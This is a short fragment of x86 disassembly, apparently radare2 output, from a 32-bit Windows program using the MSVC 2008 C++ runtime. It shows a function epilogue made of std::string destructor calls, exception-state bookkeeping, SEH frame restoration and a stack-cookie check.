call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0xb88]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xb68]
call fcn.0044aa80
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xb2c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0xb10]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 0xbc1], 1
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x498]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x434]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x458]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, byte [ebp - 0xbc1]
jmp 0x457d79
lea ecx, [ebp - 0x49c]
push ecx
lea edx, [ebp - 0x4a0]
push edx
call fcn.00451fc0
add esp, 8
mov byte [ebp - 0xbc2], 1
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x498]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x434]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x458]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, byte [ebp - 0xbc2]
jmp 0x457d79
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00462030
mov esp, ebp
pop ebp
ret